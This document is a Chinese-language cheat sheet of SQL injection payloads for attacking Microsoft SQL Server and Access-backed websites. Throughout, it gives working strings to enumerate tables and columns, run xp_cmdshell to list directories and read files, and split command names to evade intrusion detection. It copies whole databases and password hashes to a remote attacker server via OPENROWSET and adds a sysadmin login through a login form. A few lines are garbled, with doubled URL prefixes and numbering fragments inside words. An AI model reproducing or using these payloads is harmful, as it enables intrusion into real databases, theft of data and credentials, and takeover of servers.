傳統的存在xp_cmdshell的測試過程:

若是被限制則能夠。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
傳統查詢構造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個叫ffff的用戶哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
說明:
上面的語句是獲得數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。
經過查看ffff的用戶資料可得第一個用表叫ad
而後根據表名ad獲得這個表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面這樣就能夠獲得第二個表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
擴展存儲就能夠經過通常的方法調用:
exec xp_webserver
一旦這個擴展存儲執行過,能夠這樣刪除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //爲access數據庫
-----------------------------------------------------------一般注射的一些介紹:
A) ID=49 這類注入的參數是數字型,SQL語句原貌大體以下:
select * from 表名 where 字段=49
注入的參數爲ID=49 And [查詢條件],便是生成語句:
select * from 表名 where 字段=49 And [查詢條件]
(B) Class=連續劇 這類注入的參數是字符型,SQL語句原貌大體概以下:
select * from 表名 where 字段='連續劇'
注入的參數爲Class=連續劇' and [查詢條件] and ''=' ,便是生成語句:
select * from 表名 where 字段='連續劇' and [查詢條件] and ''=''
(C) 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大體以下:
select * from 表名 where 字段like '%關鍵字%'
注入的參數爲keyword=' and [查詢條件] and '%25'=', 便是生成語句:
select * from 表名 where字段like '%' and [查詢條件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系統表,存儲着全部的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶創建的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
從⑤拿到表名後,用object_id('表名')獲取表名對應的內部ID,col_name(表名ID,1)表明該表的第1個字段名,將1換成2,3,4...就能夠逐個獲取所猜解表裏面的字段名。
post.htm內容:主要是方便輸入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚舉出他的數據表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
這是將第一個表名更新到aaa的字段處。
讀出第一個表,第二個表能夠這樣讀出來(在條件後加上 and name<>'剛纔獲得的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
而後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到沒有爲止。
讀字段是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
而後id=1552 and exists(select * from aaa where aaa>5)出錯,獲得字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
而後id=1552 and exists(select * from aaa where aaa>5)出錯,獲得字段名
--------------------------------高級技巧:
[得到數據表名][將字段值更新爲表名,再想法讀出這個字段的值就可獲得表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你獲得的表名' 查出一個加一個]) [ where 條件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
經過SQLSERVER注入漏洞建數據庫管理員賬號和系統管理員賬號[當前賬號必須是SYSADMIN組]
[得到數據表字段名][將字段值更新爲字段名,再想法讀出這個字段的值就可獲得字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]
繞過IDS的檢測[使用變量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
一、 開啓遠程數據庫
基本語法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
參數: (1) OLEDB Provider name
二、 其中鏈接字符串參數能夠是任何和端口用來鏈接,好比
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
要複製目標主機的整個數據庫,首先要在目標主機上和本身機器上的數據庫創建鏈接(如何在目標主機上創建遠程鏈接,剛纔已經講了),以後insert全部遠程表到本地表。
基本語法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
這行語句將目標主機上table2表中的全部數據複製到遠程數據庫中的table1表中。實際運用中適當修改鏈接字符串的IP地址和端口,指向須要的地方,好比:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns
以後,即可以從本地數據庫中看到目標主機的庫結構,這已經易如反掌,很少講,複製數據庫:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2
......
三、 復四、 制哈西表(HASH)
這其實是上述復五、 制數據庫的一個擴展應用。登陸密碼的hash存儲於sysxlogins中。方法以下:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
獲得hash以後,六、 就能夠進行暴力破解。這須要一點運氣和大量時間。
遍歷目錄的方法:
先建立一個臨時表:temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 得到當前全部驅動器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 得到子目錄列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 得到全部子目錄的目錄樹結構,並寸入temp表中
5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某個文件的內容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (xp_dirtree適用權限PUBLIC)
寫入表:
語句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
語句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
語句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('setupadmin'));--

語句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
語句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
語句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
語句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER('db_owner'));--
把路徑寫到表中去:
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\'-

http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-
語句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
語句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-
把數據庫備份到網頁目錄:下載
http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--
and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
and%201=(select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects) 參看相關表。
and 1=(select%20user_id%20from%20USER_LOGIN)
and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)
若是能夠經過鏈接符註釋掉後面的驗證,那麼就更有意思了,來看咱們能做什麼:a、在用戶名位置輸入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一個sql用戶b、在用戶名位置輸入【admin';exec master.dbo.sp_password null,123456,Cool;--】,給Cool設置密碼爲123456c、在用戶名位置輸入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,給Cool賦予System Administrator權限
